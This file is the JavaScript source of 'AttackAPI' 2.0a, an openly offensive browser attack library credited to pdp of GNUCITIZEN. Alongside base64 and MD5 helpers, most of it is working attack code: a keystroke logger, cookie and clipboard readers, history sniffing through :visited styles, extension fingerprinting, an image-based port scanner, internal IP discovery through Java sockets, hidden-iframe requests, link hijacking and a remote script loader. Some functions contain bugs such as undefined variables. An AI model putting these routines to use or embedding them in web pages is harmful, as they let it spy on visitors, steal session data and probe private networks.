/* prevent execution of AttackAPI if included more then once */
if(window.AttackAPI == undefined) {

var AttackAPI = {
	version: '2.0a',
	author: 'Petko Petkov | pdp (architect)',
	homepage: 'http://www.gnucitizen.org',
	projecthome: 'http://www.gnucitizen.org/projects/attackapi'};

AttackAPI.base64chars = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=";

AttackAPI.base64enc = function (input) {
	var result = '';
	var chr1, chr2, chr3;
	var enc1, enc2, enc3, enc4;
	var i = 0;
	
	do {
		chr1 = input.charCodeAt(i++);
		chr2 = input.charCodeAt(i++);
		chr3 = input.charCodeAt(i++);
		
		enc1 = chr1 >> 2;
		enc2 = ((chr1 & 3) << 4) | (chr2 >> 4);
		enc3 = ((chr2 & 15) << 2) | (chr3 >> 6);
		enc4 = chr3 & 63;
		
		if (isNaN(chr2)) {
			enc3 = enc4 = 64;
		} else if (isNaN(chr3)) {
			enc4 = 64;
		}
		
		result += AttackAPI.base64chars.charAt(enc1) + AttackAPI.base64chars.charAt(enc2) + AttackAPI.base64chars.charAt(enc3) + AttackAPI.base64chars.charAt(enc4);
	} while (i < input.length);
	
	return result;
};

AttackAPI.base64dec = function (input) {
	var result = '';
	var chr1, chr2, chr3;
	var enc1, enc2, enc3, enc4;
	var i = 0;

	var input = input.replace(/[^A-Za-z0-9\+\/\=]/g, '');

	do {
		enc1 = AttackAPI.base64chars.indexOf(input.charAt(i++));
		enc2 = AttackAPI.base64chars.indexOf(input.charAt(i++));
		enc3 = AttackAPI.base64chars.indexOf(input.charAt(i++));
		enc4 = AttackAPI.base64chars.indexOf(input.charAt(i++));

		chr1 = (enc1 << 2) | (enc2 >> 4);
		chr2 = ((enc2 & 15) << 4) | (enc3 >> 2);
		chr3 = ((enc3 & 3) << 6) | enc4;

		result += String.fromCharCode(chr1);

		if (enc3 != 64) {
			result += String.fromCharCode(chr2);
		}
		if (enc4 != 64) {
			result += String.fromCharCode(chr3);
		}
	} while (i < input.length);
	
	return result;
};

AttackAPI.base64 = function (value) {
	function base64(input) {
		this.enc = function () {		
			return new base64(AttackAPI.base64enc(input));
		};
		
		this.dec = function () {
			return new base64(AttackAPI.base64dec(input));
		};
		
		this.toString = function () {
			return input;
		};
	}
	
	return new base64(value);
};

AttackAPI.localname = function () {
	try {
		var sock = new java.net.Socket();
		sock.bind(new java.net.InetSocketAddress('0.0.0.0', 0));
		sock.connect(new java.net.InetSocketAddress(document.domain, (!document.location.port)?80:document.location.port));
		return sock.getLocalAddress().getHostName();	
	} catch (e) {}
	return null;
};

AttackAPI.localip = function () {
	try {
		var sock = new java.net.Socket();
		sock.bind(new java.net.InetSocketAddress('0.0.0.0', 0));
		sock.connect(new java.net.InetSocketAddress(document.domain, (!document.location.port)?80:document.location.port));
		return sock.getLocalAddress().getHostAddress();	
	} catch (e) {}
	return null;
};

AttackAPI.agent = function () {
	var agent = '';
	
	if (navigator.userAgent)
		agent = navigator.userAgent;
	else if (navigator.vendor)
		agent = navigator.vendor;
	else if (window.opera)
		agent = "Opera";
		
	agent = agent.toLowerCase();
	
	if (/webkit/.test(agent))
		return 'safari';
	else if (/opera/.test(agent))
		return 'opera';
	else if (/msie/.test(agent) && !/opera/.test(agent))
		return 'msie';
	else if (/mozilla/.test(agent) && !/(compatible|webkit)/.test(agent))
		return 'mozilla';
	else
		return null;
};

// TODO: generic platform detection algorith
AttackAPI.platform = function () {
	return navigator.platform.toLowerCase();
};

// TODO: support for IE
AttackAPI.plugins = function () {
	var plugins = new Array();
	
	for (var index = 0; index < navigator.plugins.length; index++)
		plugins.push(navigator.plugins[index].name);
	
	return plugins;
};

AttackAPI.clipboard = function (value) {
	if (value == undefined) {
		if (window.clipboardData)
			return window.clipboardData.getData('Text');
			
		return null;
	}
	
	if (window.clipboardData)
		return window.clipboardData.getData('Text', value);
		
	return null;
};

AttackAPI.cookie = function (name, value) {
	function cookie(name) {	
		this.set = function (value, expires, path, domain, secure) {
			return document.cookie = name + '=' + escape(value) +
			                  ((expires == undefined)?'':'; expires=' + expires) +
                              ((path == undefined)?'':'; path=' + path) +
                              ((domain == undefined)?'':'; domain=' + domain) +
                              ((secure == undefined)?'':'; secure=' + secure);
		};
		
		this.del = function () {
			return this.set(null);			
		};
		
		this.toString = function () {
			var tokens = document.cookie.split(';');
			
			for (var index = 0; index < tokens.length; index++) {
				var pair = tokens[index].replace(/^\s*/, '');
				
				if (name == pair.substring(0, name.length))
					return pair.substring(name.length + 1);
			}
			
			return null;
		};
	}
	
	if (value == undefined)
		return new cookie(name);
		
	return cookie(name).set(value);
};

AttackAPI.cookies = function () {
	var cookies = new Object();
	var tokens = document.cookie.split(';');
	
	for (var index = 0; index < tokens.length; index++) {
		var pair = tokens[index].split('=');
		
		if (pair[1] && !(pair[0] in cookies))
			cookies[pair[0]] = AttackAPI.cookie(pair[1]);
	}
	
	return cookies;
};

AttackAPI.document = function (target) {
	var doc = null;
		
	if (target == undefined)
		doc = document
	else if (target.contentDocument)
		doc  = target.contentDocument;
	else if (target.contentWindow)
		doc = target.contentWindow.document;
	else if (target.document)
		doc = target.document;
	
	return doc;
};

AttackAPI.domain = function (domain) {
	var tokens = domain.split('.').reverse();
	return {domain: domain, tld: tokens[0], name: tokens[1], sub: tokens.slice(2).reverse().join('.')};
};

AttackAPI.attachevent = function (callback, event, target, capturing) {
	var target = (target == undefined)?window:target;
	var capturing = (capturing == undefined)?false:true;
	
	if (target.addEventListener)
		target.addEventListener(event, callback, capturing);
	else
		target.attachEvent('on' + event, callback);
};

AttackAPI.detachevent = function (callback, event, target, capturing) {
	var target = (target == undefined)?window:target;
	var capturing = (capturing == undefined)?false:true;
	
	if (target.removeEventListener)
		target.removeEventListener(event, callback, capturing);
	else
		target.detachEvent('on' + event, callback);
};

AttackAPI.bindevent = function (callback, event, target) {
	var target = (target == undefined)?window:target;
	
	if (target['__on' + event] == undefined)
		target['__on' + event] = target['on' + event];
		
	target['on' + event] = callback;
};

AttackAPI.unbindevent = function (event, target) {
	var target = (target == undefined)?window:target;
	
	if (target['__on' + event])
		target['on' + event] = target['__on' + event];
	else
		target['on' + event] = undefined;
		
	delete target['__on' + event];
};

AttackAPI.extensionscan = function (callback, signatures, timeout) {
	var signatures = (signatures != undefined)?signatures:AttackAPI.signatures.firefox.extensions;
	var timeout = (timeout == null)?100:timeout;
	
	function __check_signature(signature) {
		var img = new Image();
		img.onload = function() {
			if (!img) return;
			img = undefined;
			callback(signature, true);
		};
		img.onerror = function() {
			if (!img) return;
			img = undefined;
			callback(signature, false);
		};
		img.src = signature.src;
		
		window.setTimeout(img.onerror, timeout);
	};
	
	for (index = 0; index < signatures.length; index++)
		__check_signature(signatures[index]);
};

AttackAPI.freeze = function (timeout) {
	var date = new Date();
	var cur = null;
	
	do {
		cur = new Date();
	} while(cur - date < timeout);
};

AttackAPI.frghr = function (request) {
	var onsuccess = (typeof request.onsuccess == 'function')?request.onsuccess:function(){};
	var ontimeout = (typeof request.ontimeout == 'function')?request.ontimeout:function(){};
	
	var tmr = null;
	
	var ifr = document.createElement('iframe');
	ifr.style.visibility = 'hidden';
	
	document.body.appendChild(ifr);
	
	var doc = AttackAPI.document(ifr);
	var form = document.createElement('form');
	form.setAttribute('method', request.method?request.method:'GET');
	form.setAttribute('action', request.url);
	
	for (var name in request.query) {
		var input = document.createElement('input');
		input.setAttribute('name', name);
		input.setAttribute('value', request.query[name]);
		input.setAttribute('type', 'text');
		
		form.appendChild(input);
	}
	
	doc.body.appendChild(form);
	
	ifr.onload = function () {
		window.clearTimeout(tmr);
		document.body.removeChild(ifr);
		
		var data = null;
		try {
			data = AttackAPI.document(ifr).innerHTML;
		} catch (e) {}
		
		onsuccess({data: data}, request);
	};
	
	tmr = window.setTimeout(function () {
		document.body.removeChild(ifr);
		ontimeout(request);
	}, request.timeout?request.timeout:1000);
	
	form.submit();
};

if (AttackAPI.callbacks == undefined)
	AttackAPI.callbacks = new Object();

AttackAPI.google = function (callback, query, key, context) {
	var key = (key == undefined)?'internal-documentation':key;
	var context = (context == undefined)?0:context;
	var index = (AttackAPI.callbacks.index == undefined)?1:AttackAPI.callbacks.index + 1;
	
	var script = document.createElement('script');
	script.type = 'text/javascript';
	script.defer = true;
	script.src = 'http://www.google.com/uds/GwebSearch?callback=AttackAPI.callbacks.callback' + index + '&context=' + context + '&lstkp=0&rsz=large&hl=en&q=' + query + '&key=' + key + '&v=0.1';
	
	AttackAPI.callbacks['callback' + index] = function (context, results, status) {
		document.body.removeChild(script);
		delete AttackAPI.callbacks['callback' + index];
		callback(results, query, key, context, status);
	};
	
	document.body.appendChild(script);
	AttackAPI.callbacks.index = index;
};

AttackAPI.hijax = function (target) {
	var target = (target == undefined)?document.body:target;
	var links = target.getElementsByTagName('a');
	
	for (var index = 0; index < links.length; index++) {
		var link = links[index];
		
		if (AttackAPI.domain(AttackAPI.url(link.href).hostname).name != AttackAPI.domain(document.location.hostname).name)
			continue;
		
		AttackAPI.bindevent(function () {
			AttackAPI.xhr({url: link.href, onsuccess: function (respond) {
				target.innerHTML = respond.data;
				AttackAPI.hijax(target);
			}});
			return false;
		}, 'click', link);
	}
};

AttackAPI.historyscan = function (callback, URLs) {
	var iframe = document.createElement('iframe');
	iframe.style.visibility = 'hidden';
	document.body.appendChild(iframe);
	
	var doc = AttackAPI.document(iframe);
	doc.open();
	doc.write('<style>a:visited{display: none}</style>');
	doc.close();
	
	for (index = 0; index < URLs.length; index++) {
		var a = doc.createElement('a');
		a.href = URLs[index];
		doc.body.appendChild(a);
		
		if (a.currentStyle)
			var display = a.currentStyle['display'];
		else
			var display = doc.defaultView.getComputedStyle(a, null).getPropertyValue('display')
			
		callback(URLs[index], display == 'none'?true:false);
	}
	
	document.body.removeChild(iframe);
};

AttackAPI.ifrhr = function (request) {
	var onsuccess = (typeof request.onsuccess == 'function')?request.onsuccess:function(){};
	var ontimeout = (typeof request.ontimeout == 'function')?request.ontimeout:function(){};
	
	var tmr = null;
	
	var ifr = document.createElement('iframe');
	ifr.style.visibility = 'hidden';
	ifr.src = request.url;
	ifr.onload = function () {
		window.clearTimeout(tmr);
		
		var data = null;
		try {
			data = AttackAPI.document(ifr).innerHTML;
		} catch (e) {}	
		
		ifr.src = '';
		document.body.removeChild(ifr);
		
		onsuccess({data: data}, request);
	};
				
	document.body.appendChild(ifr);
			
	tmr = window.setTimeout(function () {
		ifr.src = '';
		document.body.removeChild(ifr);
		ontimeout(request);
	}, request.timeout?request.timeout:1000);
};

AttackAPI.imghr = function (request) {
	var onsuccess = (typeof request.onsuccess == 'function')?request.onsuccess:function(){};
	var ontimeout = (typeof request.ontimeout == 'function')?request.ontimeout:function(){};
	
	var tmr = null;
	
	var img = new Image();
	img.onload = img.onerror = function () {
		window.clearTimeout(tmr);
		onsuccess(new Object(), request);
	};
	img.src = request.url;
	
	tmr = window.setTimeout(function () {
		delete img;
		ontimeout(request);
	}, request.timeout?request.timeout:1000);
};

// TODO: support HTTP methods and headers and timeout
AttackAPI.jhr = function (request) {
	var onsuccess = (typeof request.onsuccess == 'function')?request.onsuccess:function(){};
	var onerror = (typeof request.onerror == 'function')?request.onerror:function(){};
	
	var data = null;
	
	try {
		var destination = new java.net.URL(request.url);
		var buffer = java.lang.reflect.Array.newInstance(java.lang.Byte.TYPE, 65536);
		var stream = destination.getContent();
		
		while (true) {
			var count = stream.read(buffer);
			
			if (count <= 0)
				break;
				
			var str = new java.lang.String(buffer, 0, count);
			data += str;
		}
		
		stream.close();
		onsuccess({data: data}, request);
	} catch (e) {
		onerror(e, request);
	}
};

AttackAPI.keylog = function (callback, target) {
	AttackAPI.bindevent(function (e) {
		var e = (e == undefined)?window.event:e;
		callback(e.keyCode?e.keyCode:e.which, e);
	}, 'keydown', target);
};

AttackAPI.keydelog = function (target) {
	AttackAPI.unbindevent('keydown', target);
};

AttackAPI.load = function (url) {
	var head = document.getElementsByTagName('head')[0];
	var script = document.createElement('script');
	script.type = 'text/javascript';
	script.defer = true;
	script.src = url;
	head.appendChild(script);
};

/* MD5 hash functions (c) Paul Johnston
   A JavaScript implementation of the RSA Data Security, Inc. MD5 Message
   Digest Algorithm, as defined in RFC 1321.
   Version 2.1 Copyright (C) Paul Johnston 1999 - 2002.
   Other contributors: Greg Holt, Andrew Kepert, Ydnar, Lostinet
   Distributed under the BSD License
   See http://pajhome.org.uk/crypt/md5 for more info. */

AttackAPI.md5 = function (string) {
	function hex_md5(s) {
		return binl2hex(core_md5(str2binl(s), s.length * 8));
	}
	
	function core_md5(x, len) {
		x[len >> 5] |= 0x80 << ((len) % 32);
		x[(((len + 64) >>>9) << 4) + 14] = len;
		var a = 1732584193;
		var b = -271733879;
		var c = -1732584194;
		var d = 271733878;
		for (var i = 0; i < x.length; i += 16) {
			var olda = a;
			var oldb = b;
			var oldc = c;
			var oldd = d;
			a = md5_ff(a, b, c, d, x[i + 0], 7, -680876936);
			d = md5_ff(d, a, b, c, x[i + 1], 12, -389564586);
			c = md5_ff(c, d, a, b, x[i + 2], 17, 606105819);
			b = md5_ff(b, c, d, a, x[i + 3], 22, -1044525330);
			a = md5_ff(a, b, c, d, x[i + 4], 7, -176418897);
			d = md5_ff(d, a, b, c, x[i + 5], 12, 1200080426);
			c = md5_ff(c, d, a, b, x[i + 6], 17, -1473231341);
			b = md5_ff(b, c, d, a, x[i + 7], 22, -45705983);
			a = md5_ff(a, b, c, d, x[i + 8], 7, 1770035416);
			d = md5_ff(d, a, b, c, x[i + 9], 12, -1958414417);
			c = md5_ff(c, d, a, b, x[i + 10], 17, -42063);
			b = md5_ff(b, c, d, a, x[i + 11], 22, -1990404162);
			a = md5_ff(a, b, c, d, x[i + 12], 7, 1804603682);
			d = md5_ff(d, a, b, c, x[i + 13], 12, -40341101);
			c = md5_ff(c, d, a, b, x[i + 14], 17, -1502002290);
			b = md5_ff(b, c, d, a, x[i + 15], 22, 1236535329);
			a = md5_gg(a, b, c, d, x[i + 1], 5, -165796510);
			d = md5_gg(d, a, b, c, x[i + 6], 9, -1069501632);
			c = md5_gg(c, d, a, b, x[i + 11], 14, 643717713);
			b = md5_gg(b, c, d, a, x[i + 0], 20, -373897302);
			a = md5_gg(a, b, c, d, x[i + 5], 5, -701558691);
			d = md5_gg(d, a, b, c, x[i + 10], 9, 38016083);
			c = md5_gg(c, d, a, b, x[i + 15], 14, -660478335);
			b = md5_gg(b, c, d, a, x[i + 4], 20, -405537848);
			a = md5_gg(a, b, c, d, x[i + 9], 5, 568446438);
			d = md5_gg(d, a, b, c, x[i + 14], 9, -1019803690);
			c = md5_gg(c, d, a, b, x[i + 3], 14, -187363961);
			b = md5_gg(b, c, d, a, x[i + 8], 20, 1163531501);
			a = md5_gg(a, b, c, d, x[i + 13], 5, -1444681467);
			d = md5_gg(d, a, b, c, x[i + 2], 9, -51403784);
			c = md5_gg(c, d, a, b, x[i + 7], 14, 1735328473);
			b = md5_gg(b, c, d, a, x[i + 12], 20, -1926607734);
			a = md5_hh(a, b, c, d, x[i + 5], 4, -378558);
			d = md5_hh(d, a, b, c, x[i + 8], 11, -2022574463);
			c = md5_hh(c, d, a, b, x[i + 11], 16, 1839030562);
			b = md5_hh(b, c, d, a, x[i + 14], 23, -35309556);
			a = md5_hh(a, b, c, d, x[i + 1], 4, -1530992060);
			d = md5_hh(d, a, b, c, x[i + 4], 11, 1272893353);
			c = md5_hh(c, d, a, b, x[i + 7], 16, -155497632);
			b = md5_hh(b, c, d, a, x[i + 10], 23, -1094730640);
			a = md5_hh(a, b, c, d, x[i + 13], 4, 681279174);
			d = md5_hh(d, a, b, c, x[i + 0], 11, -358537222);
			c = md5_hh(c, d, a, b, x[i + 3], 16, -722521979);
			b = md5_hh(b, c, d, a, x[i + 6], 23, 76029189);
			a = md5_hh(a, b, c, d, x[i + 9], 4, -640364487);
			d = md5_hh(d, a, b, c, x[i + 12], 11, -421815835);
			c = md5_hh(c, d, a, b, x[i + 15], 16, 530742520);
			b = md5_hh(b, c, d, a, x[i + 2], 23, -995338651);
			a = md5_ii(a, b, c, d, x[i + 0], 6, -198630844);
			d = md5_ii(d, a, b, c, x[i + 7], 10, 1126891415);
			c = md5_ii(c, d, a, b, x[i + 14], 15, -1416354905);
			b = md5_ii(b, c, d, a, x[i + 5], 21, -57434055);
			a = md5_ii(a, b, c, d, x[i + 12], 6, 1700485571);
			d = md5_ii(d, a, b, c, x[i + 3], 10, -1894986606);
			c = md5_ii(c, d, a, b, x[i + 10], 15, -1051523);
			b = md5_ii(b, c, d, a, x[i + 1], 21, -2054922799);
			a = md5_ii(a, b, c, d, x[i + 8], 6, 1873313359);
			d = md5_ii(d, a, b, c, x[i + 15], 10, -30611744);
			c = md5_ii(c, d, a, b, x[i + 6], 15, -1560198380);
			b = md5_ii(b, c, d, a, x[i + 13], 21, 1309151649);
			a = md5_ii(a, b, c, d, x[i + 4], 6, -145523070);
			d = md5_ii(d, a, b, c, x[i + 11], 10, -1120210379);
			c = md5_ii(c, d, a, b, x[i + 2], 15, 718787259);
			b = md5_ii(b, c, d, a, x[i + 9], 21, -343485551);
			a = safe_add(a, olda);
			b = safe_add(b, oldb);
			c = safe_add(c, oldc);
			d = safe_add(d, oldd);
		}
		return Array(a, b, c, d);
	}
	
	function md5_cmn(q, a, b, x, s, t) {
		return safe_add(bit_rol(safe_add(safe_add(a, q), safe_add(x, t)), s), b);
	}
	
	function md5_ff(a, b, c, d, x, s, t) {
		return md5_cmn((b & c) | ((~b) & d), a, b, x, s, t);
	}
	
	function md5_gg(a, b, c, d, x, s, t) {
		return md5_cmn((b & d) | (c & (~d)), a, b, x, s, t);
	}
	
	function md5_hh(a, b, c, d, x, s, t) {
		return md5_cmn(b ^ c ^ d, a, b, x, s, t);
	}
	
	function md5_ii(a, b, c, d, x, s, t) {
		return md5_cmn(c ^ (b | (~d)), a, b, x, s, t);
	}
	
	function safe_add(x, y) {
		var lsw = (x & 0xFFFF) + (y & 0xFFFF);
		var msw = (x >> 16) + (y >> 16) + (lsw >> 16);
		return (msw << 16) | (lsw & 0xFFFF);
	}
	
	function bit_rol(num, cnt) {
		return (num << cnt) | (num >>>(32 - cnt));
	}
	
	function str2binl(str) {
		var bin = Array();
		var mask = (1 << 8) - 1;
		for (var i = 0; i < str.length * 8; i += 8) {
			bin[i >> 5] |= (str.charCodeAt(i / 8) & mask) << (i % 32);
		}
		return bin;
	}
	
	function binl2hex(binarray) {
		var hex_tab = '0123456789abcdef';
		var str = '';
		for (var i = 0; i < binarray.length * 4; i++) {
			str += hex_tab.charAt((binarray[i >> 2] >> ((i % 4) * 8 + 4)) & 0xF) + hex_tab.charAt((binarray[i >> 2] >> ((i % 4) * 8)) & 0xF);
		}
		return str;
	}
	
	return hex_md5(string);
}

AttackAPI.ip = function (ip) {
	if(typeof ip == 'number')
		return Math.floor(ip/16777216)%256 + '.' +
		       Math.floor(ip/65536)%256 + '.' +
			   Math.floor(ip/256)%256 + '.' +
			   Math.floor(ip)%256;
		
	var octets = ip.split('.');
	return (16777216 * octets[0]) + (65536 * octets[1]) + (256 * octets[2]) + Number(octets[3]);
};

AttackAPI.net = function (net) {
	var start = stop = 0
	
	if (net.indexOf('/') != -1) {
		var tokens = cidr.split('/');
		start = AttackAPI.ip(tokens[0]);
		stop = Math.pow(2, 32 - tokens[1]) + start - 1;
	} else {
		var tokens = range.split('-');
		start = AttackAPI.ip(tokens[0].replace(/^\s+/g, '').replace(/\s+$/g, ''));
		stop = AttackAPI.ip(tokens[1].replace(/^\s+/g, '').replace(/\s+$/g, ''));
	}
	
	return {
		start: start,
		stop: stop,
		
		each: function (callback) {
			for (var index = start; index <= stop; index++)
				callback(AttackAPI.ip(index));
		},
		
		ips: function () {
			var array = new Array();
			this.each(function (ip) {
				array.push(ip);
			});
			
			return array;
		}
	};		
};

AttackAPI.portscan = function (callback, target, ports, timeout) {
	var timeout = (timeout == null)?100:timeout;
	var __check_port = function (target, port) {
		var img = new Image();
		img.onload = img.onerror = function () {
			if (!img) return;
			img = undefined;
			callback(target, port, true);
		};
		img.src = 'http://' + target + ':' + port;
		
		window.setTimeout(function () {
			if (!img) return;
			img = undefined;
			callback(target, port, false);
		}, timeout);
	};
	
	for (index = 0; index < ports.length; index++)
 		__check_port(target, ports[index]);
};

AttackAPI.query = function (query) {
	var querystr = '';
	
	for (var item in query)
		ret += escape(item) + '=' + escape(query[item]);
		
	return querystr;
};

AttackAPI.sandbox = function () {	
	var iframe = document.createElement('iframe');
	iframe.style.display = 'none';
	document.body.appendChild(iframe);
	
	var doc = AttackAPI.document(iframe);
	
	return {
		destroy: function () {
			document.body.removeChild(iframe);
		},
		
		eval: function (s) {
			doc.location = 'javascript:' + s + '; void(0);';
		},
		
		scope: function () {
			
		}
	};
};

AttackAPI.scrhr = function (request) {
	var onsuccess = (typeof request.onsuccess == 'function')?request.onsuccess:function(){};
	var ontimeout = (typeof request.ontimeout == 'function')?request.ontimeout:function(){};
	var onerror = (typeof request.onerror == 'function')?request.onerror:function(){};
	
	var tmr = null;
	var head = document.getElementsByTagName('head')[0];
	
	var script = document.createElement('script');
	script.type = 'text/javascript';
	script.defer = true;
	script.src = request.url;
	script.onload = function () {
		window.clearTimeout(tmr);
		head.removeChild(script);
		onsuccess(new Object(), request);
	};
	script.onerror = function () {
		window.clearTimeout(tmr);
		head.removeChild(script);
		onerror('error', request);
	};
	
	head.appendChild(script);
	
	tmr = window.setTimeout(function () {
		head.removeChild(script);
		ontimeout(request);
	}, request.timeout?request.timeout:1000);
};

AttackAPI.remotename = function () {
	try {
		var sock = new java.net.Socket();
		sock.bind(new java.net.InetSocketAddress('0.0.0.0', 0));
		sock.connect(new java.net.InetSocketAddress(document.domain, (!document.location.port)?80:document.location.port));
		return sock.getInetAddress().getHostName();	
	} catch (e) {}
	return null;
};

AttackAPI.remoteip = function () {
	try {
		var sock = new java.net.Socket();
		sock.bind(new java.net.InetSocketAddress('0.0.0.0', 0));
		sock.connect(new java.net.InetSocketAddress(document.domain, (!document.location.port)?80:document.location.port));
		return sock.getInetAddress().getHostAddress();	
	} catch (e) {}
	return null;
};

AttackAPI.thread = function (callback, delay) {
	var delay = (delay == undefined)?0:delay;
	window.setTimeout(callback, delay);
};

AttackAPI.url = function (url) {
	var REGEX = /^((\w+):\/\/)?((\w+):?(\w+)?@)?([^\/\?:]+):?(\d+)?(\/?[^\?#]+)?\??([^#]+)?#?(\w*)/;
	
	var fields = {'href': 0, 'username' : 4, 'password' : 5, 'port' : 7, 'protocol' : 2, 'host' : 6, 'hostname' : 6, 'pathname' : 8, 'search' : 9, 'hash' : 10};
	var result = new Object();
	var r = REGEX.exec(url);
	
	for (var field in fields)
		result[field] = r[fields[field]];
		
	result.hash = '#' + result.hash;
	result.search = '?' + result.search;
		
	return result;
};

AttackAPI.xhr = function (request) {
	var onsuccess = (typeof request.onsuccess == 'function')?request.onsuccess:function(){};
	var ontimeout = (typeof request.ontimeout == 'function')?request.ontimeout:function(){};
	var onerror = (typeof request.onerror == 'function')?request.onerror:function(){};
	
	var tmr = null;
	var xhr = null;
	
	if (window.XMLHttpRequest)
		xhr = new XMLHttpRequest();
	else if (window.createRequest)
		xhr = window.createRequest();
	else if (window.ActiveXObject) {
		try {
			xhr = new ActiveXObject("Msxml2.XMLHTTP");
		} catch (e) {
			try {
				xhr = new ActiveXObject("Microsoft.XMLHTTP");
			} catch (e) {}
		}
	}

	if (!xhr) {
		onerror('request implementation not found', request);
		return;
	}
	
	xhr.onreadystatechange = function () {
		if (xhr.readyState == 4) {
			window.clearTimeout(tmr);
			onsuccess({status: xhr.status, data: xhr.responseText, headers: xhr.getAllResponseHeaders()}, request);
		}
	};
	
	try {
		xhr.open(request.method?request.method:'GET', request.url);
		
		if (request.headers)
			for (var header in request.headers)
				xhr.setRequestHeader(header, request.headers[header]);
				
		xhr.send(request.body?request.body:(request.query?AttackAPI.query(request.query):null));
	} catch (e) {
		onerror(e, request);
		return;
	}
	
	tmr = window.setTimeout(function () {
		xhr.abort();
		request.ontimeout(request);
	}, request.timeout?request.timeout:1000);
};

AttackAPI.signatures = new Object();

AttackAPI.signatures.firefox = new Object();

// TODO: important extensions only
AttackAPI.signatures.firefox.extensions = [
	{name: 'Adblock Plus', src: 'chrome://adblockplus/skin/adblockplus.png'},
	{name: 'Auto Copy', src: 'chrome://autocopy/skin/autocopy.png'},
	{name: 'ColorZilla', src: 'chrome://colorzilla/skin/logo.png'},
	{name: 'Customize Google', src: 'chrome://customizegoogle/skin/32x32.png'},
	{name: 'DownThemAll!', src: 'chrome://dta/content/immagini/icon.png'},
	{name: 'Faster Fox', src: 'chrome://fasterfox/skin/icon.png'},
	{name: 'Flash Block', src: 'chrome://flashblock/skin/flash-on-24.png'},
	{name: 'FlashGot', src: 'chrome://flashgot/skin/icon32.png'},
	{name: 'Forecastfox', src: 'chrome://forecastfox/skin/images/icon.png'},
	{name: 'Google Toolbar', src: 'chrome://google-toolbar/skin/icon.png'},
	{name: 'Greasemonkey', src: 'chrome://greasemonkey/content/status_on.gif'},
	{name: 'IE Tab', src: 'chrome://ietab/skin/ietab-button-ie16.png'},
	{name: 'IE View', src: 'chrome://ieview/skin/ieview-icon.png'},
	{name: 'JS View', src: 'chrome://jsview/skin/jsview.gif'},
	{name: 'Live HTTP Headers', src: 'chrome://livehttpheaders/skin/img/Logo.png'},
	{name: 'MeasureIt', src: 'chrome://measureit/skin/measureit.png'},
	{name: 'SEO For Firefox', src: 'chrome://seo4firefox/content/icon32.png'},
	{name: 'SEOpen', src: 'chrome://seopen/skin/seopen.png'},
	{name: 'Search Status', src: 'chrome://searchstatus/skin/cax10.png'},
	{name: 'Server Switcher', src: 'chrome://switcher/skin/icon.png'},
	{name: 'StumbleUpon', src: 'chrome://stumbleupon/content/skin/logo32.png'},
	{name: 'Tab Mix Plus', src: 'chrome://tabmixplus/skin/tmp.png'},
	{name: 'Torrent-Search Toolbar', src: 'chrome://torrent-search/skin/v.png'},
	{name: 'User Agent Switcher', src: 'chrome://useragentswitcher/content/logo.png'},
	{name: 'View Source With', src: 'chrome://viewsourcewith/skin/ff/tb16.png'},
	{name: 'Web Developer', src: 'chrome://webdeveloper/content/images/logo.png'}];

/* hook on $A */
if ($A == undefined)
	var $A = AttackAPI;

}
/* the end */